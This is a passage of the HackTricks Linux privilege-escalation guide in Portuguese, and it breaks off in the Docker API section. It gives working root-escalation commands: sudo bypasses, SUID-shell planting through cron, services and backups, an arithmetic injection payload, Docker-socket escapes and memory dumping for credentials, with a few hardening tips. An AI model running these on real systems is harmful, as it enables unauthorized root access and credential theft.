Linux Privilege Escalation
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações do Sistema
Informações do SO
Vamos começar a obter informações sobre o SO em execução
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
Path
Se você tiver permissões de escrita em qualquer diretório dentro da variável PATH, pode ser capaz de sequestrar algumas bibliotecas ou binários:
echo $PATH
Env info
Informações interessantes, senhas ou chaves de API nas variáveis de ambiente?
(env || set) 2>/dev/null
Kernel exploits
Verifique a versão do kernel e se existe algum exploit que possa ser usado para escalate privileges
cat /proc/version
uname -a
searchsploit "Linux Kernel"
Você pode encontrar uma boa lista de kernels vulneráveis e alguns já compiled exploits aqui: https://github.com/lucyoa/kernel-exploits e exploitdb sploits.
Outros sites onde você pode encontrar alguns compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
Para extrair todas as versões de kernel vulneráveis desse site você pode fazer:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
Ferramentas que podem ajudar a procurar exploits do kernel são:
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (executar na vítima, apenas verifica exploits para kernel 2.x)
Sempre pesquise a versão do kernel no Google, talvez a sua versão do kernel esteja escrita em algum exploit do kernel e assim você terá certeza de que esse exploit é válido.
Additional kernel exploitation techniques:
Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Versão do Sudo
Com base nas versões vulneráveis do sudo que aparecem em:
searchsploit sudo
Você pode verificar se a versão do sudo é vulnerável usando este grep.
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
Sudo < 1.9.17p1
Versões do sudo anteriores a 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) permitem que usuários locais não privilegiados escalem seus privilégios para root via a opção sudo --chroot quando o arquivo /etc/nsswitch.conf é usado a partir de um diretório controlado pelo usuário.
Here is a PoC to exploit that vulnerability. Antes de executar o exploit, certifique-se de que sua versão do sudo é vulnerável e de que ela suporta o recurso chroot.
Para mais informações, consulte o original vulnerability advisory
Sudo host-based rules bypass (CVE-2025-32462)
Sudo anterior a 1.9.17p1 (faixa afetada reportada: 1.8.8–1.9.17) pode avaliar regras sudoers baseadas em host usando o hostname fornecido pelo usuário de sudo -h <host> em vez do hostname real. Se o sudoers concede privilégios mais amplos em outro host, você pode spoof esse host localmente.
Requirements:
- Versão do sudo vulnerável
- Regras sudoers específicas por host (o host não é nem o hostname atual nem
ALL)
Example sudoers pattern:
Host_Alias SERVERS = devbox, prodbox
Host_Alias PROD = prodbox
alice SERVERS, !PROD = NOPASSWD:ALL
Exploit por spoofing do host permitido:
sudo -h devbox id
sudo -h devbox -i
Se a resolução do nome spoofed falhar, adicione-o a /etc/hosts ou use um hostname que já apareça em logs/configs para evitar DNS lookups.
sudo < v1.8.28
De @sickrov
sudo -u#-1 /bin/bash
Dmesg: verificação da assinatura falhou
Consulte smasher2 box of HTB para um exemplo de como esta vuln poderia ser explorada
dmesg 2>/dev/null | grep "signature"
Mais enumeração do sistema
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
Enumerar possíveis defesas
AppArmor
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Container Breakout
Se você estiver dentro de um container, comece com a seguinte seção container-security e então pivot para as páginas runtime-specific abuse:
Drives
Verifique o que está montado e desmontado, onde e por quê. Se algo estiver desmontado, você pode tentar montá-lo e verificar por informações privadas
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
Software útil
Enumerar binários úteis
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
Além disso, verifique se algum compilador está instalado. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma similar)
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
Software Vulnerável Instalado
Verifique a versão dos pacotes e serviços instalados. Talvez haja alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalating privileges…
Recomenda-se verificar manualmente a versão do software instalado mais suspeito.
dpkg -l #Debian
rpm -qa #Centos
Se você tiver acesso SSH à máquina, você também pode usar openVAS para verificar se há software desatualizado e vulnerável instalado na máquina.
[!NOTE] > Observe que esses comandos vão mostrar muita informação que, na maior parte, será inútil; portanto, recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos
Processos
Dê uma olhada em quais processos estão sendo executados e verifique se algum processo tem mais privilégios do que deveria (talvez um tomcat sendo executado pelo root?)
ps aux
ps -ef
top -n 1
Sempre verifique por possíveis electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detecta esses verificando o parâmetro --inspect dentro da linha de comando do processo.\ Também verifique seus privilégios sobre os binaries dos processos, talvez você consiga sobrescrever algum.
Cadeias pai-filho entre usuários distintos
Um processo filho executando sob um usuário diferente do seu pai não é automaticamente malicioso, mas é um útil sinal de triagem. Algumas transições são esperadas (root iniciando um usuário de serviço, gerenciadores de login criando processos de sessão), mas cadeias incomuns podem revelar wrappers, debug helpers, persistence, ou weak runtime trust boundaries.
Revisão rápida:
ps -eo pid,ppid,user,comm,args --sort=ppid
pstree -alp
Executáveis deletados e arquivos ainda abertos após exclusão
Se encontrar uma cadeia surpreendente, inspecione a linha de comando do processo pai e todos os arquivos que influenciam seu comportamento (config, EnvironmentFile, scripts auxiliares, diretório de trabalho, argumentos graváveis). Em vários caminhos reais de privesc o próprio processo filho não era gravável, mas a parent-controlled config ou a cadeia de helpers era.
Procure por executáveis deletados:
pid=<PID>
ls -l /proc/$pid/exe
readlink /proc/$pid/exe
tr '\0' ' ' </proc/$pid/cmdline; echo
Se /proc/<PID>/exe aponta para (deleted), o processo ainda está executando a antiga imagem binária na memória. Isso é um forte sinal para investigar porque:
- o executável removido pode conter strings interessantes ou credenciais
- o processo em execução pode ainda expor file descriptors úteis
- um binário privilegiado deletado pode indicar manipulação recente ou tentativa de limpeza
Coletar arquivos abertos deletados globalmente:
lsof +L1
Se você encontrar um descritor interessante, recupere-o diretamente:
ls -l /proc/<PID>/fd
cat /proc/<PID>/fd/<FD>
Isto é especialmente valioso quando um processo ainda tem aberto um segredo excluído, um script, uma exportação de banco de dados ou um flag file.
Monitoramento de processos
Você pode usar ferramentas como pspy para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados com frequência ou quando um conjunto de requisitos é atendido.
Memória do processo
Alguns serviços de um servidor salvam credenciais em texto claro na memória.
Normalmente você precisará de root privileges para ler a memória de processos que pertencem a outros usuários, portanto isso costuma ser mais útil quando você já está root e quer descobrir mais credenciais.
No entanto, lembre-se de que como usuário regular você pode ler a memória dos processos que possui.
Warning
Observe que hoje em dia a maioria das máquinas não permite ptrace por padrão, o que significa que você não pode fazer dump de outros processos que pertencem a um usuário sem privilégios.
The file /proc/sys/kernel/yama/ptrace_scope controls the accessibility of ptrace:
- kernel.yama.ptrace_scope = 0: todos os processos podem ser depurados, contanto que tenham o mesmo uid. Esta é a forma clássica de como ptrace funcionava.
- kernel.yama.ptrace_scope = 1: apenas um processo pai pode ser depurado.
- kernel.yama.ptrace_scope = 2: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
- kernel.yama.ptrace_scope = 3: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.
GDB
Se você tiver acesso à memória de um serviço FTP (por exemplo) você poderia obter o Heap e procurar dentro dele por credenciais.
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
Script do GDB
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
Para um determinado PID, maps mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse processo; também mostram as permissões de cada região mapeada. O pseudo-arquivo mem expõe a própria memória do processo. A partir do arquivo maps sabemos quais regiões de memória são legíveis e seus offsets. Usamos essa informação para fazer seek no arquivo mem e dumpar todas as regiões legíveis em um arquivo.
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem fornece acesso à memória física do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.
Tipicamente, /dev/mem é somente legível por root e pelo grupo kmem.
strings /dev/mem -n10 | grep -i PASS
ProcDump para Linux
ProcDump é uma reimaginação para Linux da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Obtenha em https://github.com/Sysinternals/ProcDump-for-Linux
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
Ferramentas
Para fazer dump da memória de um processo, você pode usar:
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump (root) - _Você pode remover manualmente os requisitos de root e fazer dump do processo que você possui
- Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (root é necessário)
Credenciais da memória do processo
Exemplo manual
Se você encontrar que o processo authenticator está em execução:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
Você pode dump the process (veja as seções anteriores para encontrar diferentes maneiras de dump the memory of a process) e procurar por credenciais dentro da memória:
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
A ferramenta https://github.com/huntergregal/mimipenguin irá steal clear text credentials from memory e de alguns well known files. Requer privilégios de root para funcionar corretamente.
| Funcionalidade | Nome do Processo |
|---|---|
| GDM password (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Active FTP Connections) | vsftpd |
| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
Search Regexes/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
Scheduled/Cron jobs
Crontab UI (alseambusher) running as root – web-based scheduler privesc
Se um painel web “Crontab UI” (alseambusher/crontab-ui) estiver rodando como root e estiver ligado apenas ao loopback, você ainda pode acessá-lo via SSH local port-forwarding e criar uma tarefa privilegiada para escalar.
Cadeia típica
- Descobrir porta acessível apenas via loopback (ex.: 127.0.0.1:8000) e realm Basic-Auth via
ss -ntlp/curl -v localhost:8000 - Encontrar credenciais em artefatos operacionais:
- Backups/scripts com
zip -P <password> - unidade systemd expondo
Environment="BASIC_AUTH_USER=...",Environment="BASIC_AUTH_PWD=..." - Criar túnel e login:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
- Crie um high-priv job e execute-o imediatamente (drops SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
- Use-o:
/tmp/rootshell -p # root shell
Endurecimento
- Não execute Crontab UI como root; restrinja com um usuário dedicado e permissões mínimas
- Vincule a localhost e, adicionalmente, restrinja o acesso via firewall/VPN; não reutilize senhas
- Evite embutir secrets em unit files; utilize secret stores ou EnvironmentFile acessível apenas por root
- Habilite audit/logging para on-demand job executions
Verifique se algum scheduled job é vulnerável. Talvez você consiga tirar vantagem de um script sendo executado por root (wildcard vuln? pode modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?).
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Se run-parts for usado, verifique quais nomes serão realmente executados:
run-parts --test /etc/cron.hourly
run-parts --test /etc/cron.daily
Isso evita falsos positivos. Um diretório periódico gravável só é útil se o nome do seu payload corresponder às regras locais do run-parts.
Caminho do cron
Por exemplo, dentro de /etc/crontab você pode encontrar o PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(Observe como o usuário “user” tem privilégios de escrita sobre /home/user)
Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: * * * * root overwrite.sh
Então, você pode obter um shell root usando:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Cron usando um script com um wildcard (Wildcard Injection)
Se um script é executado por root e possui um “*” dentro de um comando, você pode explorar isso para provocar comportamentos inesperados (como privesc). Exemplo:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
Se o wildcard for precedido por um caminho como /some/path/*, não é vulnerável (nem ./* é).
Leia a página a seguir para mais truques de exploração de wildcard:
Bash arithmetic expansion injection in cron log parsers
Bash realiza parameter expansion e command substitution antes da avaliação aritmética em ((…)), $((…)) e let. Se um cron/parser rodando como root lê campos de log não confiáveis e os insere em um contexto aritmético, um atacante pode injetar uma command substitution $(…) que é executada como root quando o cron é executado.
-
Por que funciona: Em Bash, as expansões ocorrem nesta ordem: parameter/variable expansion, command substitution, arithmetic expansion, depois word splitting e pathname expansion. Então um valor como
$(/bin/bash -c 'id > /tmp/pwn')0é primeiro substituído (executando o comando), depois o0numérico restante é usado na aritmética para que o script continue sem erros. -
Padrão tipicamente vulnerável:
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count )) # or: let "n=$count"
done < /var/www/app/log/application.log
- Exploração: Faça com que texto attacker-controlled seja escrito no log analisado de modo que o campo com aparência numérica contenha uma command substitution e termine com um dígito. Garanta que seu comando não escreva em stdout (ou redirecione-o) para que a operação aritmética permaneça válida.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
Cron script overwriting and symlink
Se você can modify a cron script executado por root, você pode obter um shell muito facilmente:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
Se o script executado por root usa um diretório ao qual você tem acesso total, talvez seja útil apagar essa pasta e criar um symlink apontando para outra pasta que sirva um script controlado por você
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Validação de Symlink e manipulação mais segura de arquivos
Ao revisar scripts/binaries privilegiados que leem ou escrevem arquivos por caminho, verifique como os links são tratados:
stat()segue um symlink e retorna metadados do alvo.lstat()retorna metadados do próprio link.readlink -fenamei -lajudam a resolver o alvo final e mostram as permissões de cada componente do caminho.
readlink -f /path/to/link
namei -l /path/to/link
Para defensores/desenvolvedores, padrões mais seguros contra truques de symlink incluem:
O_EXCLcomO_CREAT: falhar se o caminho já existir (bloqueia links/arquivos pré-criados pelo atacante).openat(): operar relativo a um file descriptor de diretório confiável.mkstemp(): criar arquivos temporários de forma atômica com permissões seguras.
Cron binaries assinados customizados com payloads graváveis
Blue teams às vezes “assinam” binários acionados por cron despejando uma seção ELF customizada e fazendo grep por uma string do fornecedor antes de executá-los como root. Se esse binário for gravável pelo grupo (por exemplo, /opt/AV/periodic-checks/monitor owned by root:devs 770) e você puder leak o material de assinatura, você pode forjar a seção e sequestrar a tarefa do cron:
- Use
pspypara capturar o fluxo de verificação. Em Era, root executouobjcopy --dump-section .text_sig=text_sig_section.bin monitorseguido degrep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bine então executou o arquivo. - Recrie o certificado esperado usando a leaked key/config (from
signing.zip):
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
- Crie um substituto malicioso (por exemplo, colocar um bash SUID, adicionar sua chave SSH) e incorpore o certificado em
.text_sigpara que o grep passe:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
- Sobrescreva o binário agendado preservando os bits de execução:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
- Espere pela próxima execução do cron; uma vez que a verificação ingênua de assinatura tenha sucesso, seu payload será executado como root.
Cron jobs frequentes
Você pode monitorar os processos para identificar processos que são executados a cada 1, 2 ou 5 minutos. Talvez você consiga tirar proveito disso e escalar privilégios.
Por exemplo, para monitorar a cada 0.1s durante 1 minuto, ordenar pelos comandos menos executados e excluir os comandos que foram executados com mais frequência, você pode fazer:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
Você também pode usar pspy (isso irá monitorar e listar todos os processos iniciados).
Root backups que preservam bits de permissão definidos pelo atacante (pg_basebackup)
Se um cron pertencente a root envolve pg_basebackup (ou qualquer cópia recursiva) contra um diretório de banco de dados no qual você pode escrever, você pode plantar um SUID/SGID binário que será recopiado como root:root com os mesmos bits de permissão na saída do backup.
Fluxo típico de descoberta (como um usuário DB com baixas permissões):
- Use
pspypara detectar um cron de root chamando algo como/usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/a cada minuto. - Confirme que o cluster de origem (por exemplo,
/var/lib/postgresql/14/main) é gravável por você e que o destino (/opt/backups/current) passa a ser propriedade de root após a execução da tarefa.
Exploit:
# As the DB service user owning the cluster directory
cd /var/lib/postgresql/14/main
cp /bin/bash .
chmod 6777 bash
# Wait for the next root backup run (pg_basebackup preserves permissions)
ls -l /opt/backups/current/bash # expect -rwsrwsrwx 1 root root ... bash
/opt/backups/current/bash -p # root shell without dropping privileges
Isto funciona porque pg_basebackup preserva os bits de modo de arquivo ao copiar o cluster; quando invocado por root os arquivos de destino herdam root ownership + attacker-chosen SUID/SGID. Qualquer rotina de backup/cópia privilegiada semelhante que mantenha as permissões e grave em um local executável é vulnerável.
Cron jobs invisíveis
É possível criar um cronjob inserindo um caractere de retorno de carro após um comentário (sem o caractere de nova linha), e o cron job funcionará. Exemplo (observe o caractere de retorno de carro):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
Para detectar esse tipo de entrada furtiva, inspecione arquivos cron com ferramentas que expõem caracteres de controle:
cat -A /etc/crontab
cat -A /etc/cron.d/*
sed -n 'l' /etc/crontab /etc/cron.d/* 2>/dev/null
xxd /etc/crontab | head
Serviços
Arquivos .service graváveis
Verifique se você pode escrever qualquer arquivo .service; se puder, você poderia modificá-lo de modo que ele execute sua backdoor quando o serviço for iniciado, reiniciado ou parado (talvez você precise esperar até que a máquina seja reiniciada).
Por exemplo, crie sua backdoor dentro do arquivo .service com ExecStart=/tmp/script.sh
Binários de serviço graváveis
Tenha em mente que se você possui permissões de escrita sobre binários sendo executados por serviços, você pode alterá-los para backdoors de modo que, quando os serviços forem re-executados, os backdoors serão executados.
systemd PATH - Caminhos relativos
Você pode ver o PATH usado pelo systemd com:
systemctl show-environment
Se você descobrir que pode write em qualquer uma das pastas do caminho, pode ser capaz de escalate privileges. Você precisa procurar por caminhos relativos sendo usados em arquivos de configuração de serviços como:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
Em seguida, crie um executável com o mesmo nome que o relative path binary dentro da pasta do PATH do systemd que você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (Start, Stop, Reload), seu backdoor será executado (usuários sem privilégios normalmente não podem start/stop services, mas verifique se você pode usar sudo -l).
Saiba mais sobre serviços com man systemd.service.
Temporizadores
Temporizadores são arquivos de unidade systemd cujo nome termina em **.timer** que controlam arquivos ou eventos **.service**. Temporizadores podem ser usados como uma alternativa ao cron, pois têm suporte nativo para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados de forma assíncrona.
Você pode enumerar todos os temporizadores com:
systemctl list-timers --all
Timers graváveis
Se você conseguir modificar um timer, pode fazê-lo executar algumas unidades existentes de systemd.unit (como uma .service ou uma .target)
Unit=backdoor.service
Na documentação você pode ler o que é a unidade:
A unidade a ativar quando este timer expira. O argumento é um nome de unidade, cujo sufixo não é “.timer”. Se não for especificado, este valor assume por padrão um service que tem o mesmo nome da unidade timer, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unidade que é ativada e o nome da unidade do timer sejam idênticos, exceto pelo sufixo.
Portanto, para abusar desta permissão você precisaria:
- Encontrar alguma unidade systemd (como um
.service) que esteja executando um binário gravável - Encontrar alguma unidade systemd que esteja executando um caminho relativo e sobre a qual você tenha privilégios de escrita no systemd PATH (para se passar por esse executável)
Saiba mais sobre timers com man systemd.timer.
Habilitar Timer
Para habilitar um timer você precisa de privilégios de root e executar:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
Note que o timer é ativado criando um symlink para ele em /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
Sockets
Unix Domain Sockets (UDS) permitem comunicação entre processos na mesma ou em diferentes máquinas dentro de modelos client-server. Eles utilizam arquivos de descritores Unix padrão para comunicação entre computadores e são configurados através de arquivos .socket.
Sockets podem ser configurados usando arquivos .socket.
Saiba mais sobre sockets com man systemd.socket. Dentro deste arquivo, vários parâmetros interessantes podem ser configurados:
ListenStream,ListenDatagram,ListenSequentialPacket,ListenFIFO,ListenSpecial,ListenNetlink,ListenMessageQueue,ListenUSBFunction: Estas opções são diferentes, mas resumidamente são usadas para indicar onde o socket vai escutar (o caminho do arquivo de socket AF_UNIX, o endereço IPv4/6 e/ou número da porta a escutar, etc.)Accept: Recebe um argumento booleano. Se true, uma instância de service é criada para cada conexão entrante e apenas o socket da conexão é passado a ela. Se false, todos os sockets de escuta são passados à unidade de service iniciada, e apenas uma unidade de service é criada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs, onde uma única unidade de service lida incondicionalmente com todo o tráfego entrante. Padrão: false. Por motivos de desempenho, recomenda-se escrever novos daemons de forma compatível comAccept=no.ExecStartPre,ExecStartPost: Recebem uma ou mais linhas de comando, que são executadas antes ou depois que os sockets/FIFOs de escuta sejam, respectivamente, criados e vinculados. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos do processo.ExecStopPre,ExecStopPost: Comandos adicionais que são executados antes ou depois que os sockets/FIFOs de escuta sejam, respectivamente, fechados e removidos.Service: Especifica o nome da unidade service a ativar em caso de tráfego entrante. Essa opção só é permitida para sockets com Accept=no. Por padrão usa o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar essa opção.
Writable .socket files
Se você encontrar um arquivo .socket escritível, você pode adicionar no início da seção [Socket] algo como: ExecStartPre=/home/kali/sys/backdoor e o backdoor será executado antes do socket ser criado. Portanto, provavelmente você terá que esperar até que a máquina seja reiniciada.
Observe que o sistema precisa estar usando essa configuração de arquivo .socket ou o backdoor não será executado
Socket activation + writable unit path (create missing service)
Outra má-configuração de alto impacto é:
- uma unidade socket com
Accept=noeService=<name>.service - a unidade service referenciada está ausente
- um atacante pode escrever em
/etc/systemd/system(ou outro caminho de busca de unidades)
Nesse caso, o atacante pode criar <name>.service, então gerar tráfego ao socket para que o systemd carregue e execute o novo serviço como root.
Fluxo rápido:
systemctl cat vuln.socket
# [Socket]
# Accept=no
# Service=vuln.service
cat >/etc/systemd/system/vuln.service <<'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash'
EOF
nc -q0 127.0.0.1 9999
/var/tmp/rootbash -p
Sockets graváveis
Se você identificar qualquer socket gravável (agora estamos falando sobre Unix Sockets e não sobre os arquivos de configuração .socket), então você pode se comunicar com esse socket e talvez explorar uma vulnerabilidade.
Enumerar Unix Sockets
netstat -a -p --unix
Conexão Raw
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
Exploitation example:
HTTP sockets
Observe que podem existir alguns sockets listening for HTTP requests (não estou falando de .socket files mas dos arquivos que atuam como unix sockets). Você pode verificar isso com:
curl --max-time 2 --unix-socket /path/to/socket/file http://localhost/
Se o socket responde a uma requisição HTTP, então você pode comunicar-se com ele e talvez explorar alguma vulnerabilidade.
Docker socket gravável
O Docker socket, frequentemente encontrado em /var/run/docker.sock, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário root e pelos membros do grupo docker. Possuir acesso de escrita a esse socket pode levar à privilege escalation. Aqui está uma análise de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível.
Privilege Escalation with Docker CLI
Se você tem acesso de escrita ao Docker socket, você pode escalate privileges usando os seguintes comandos:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
Estes comandos permitem que você execute um container com acesso root ao sistema de arquivos do host.
Usando Docker API Diretamente
Em casos onde o Docker CLI não está disponível, o docker socket ainda pode ser manipulado usando o Docker API e comandos curl.
- List Docker Images: Recupere a lista de imagens disponíveis.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
- Create a Container: Envie uma requisição para criar um container que monte o diretório raiz do host.
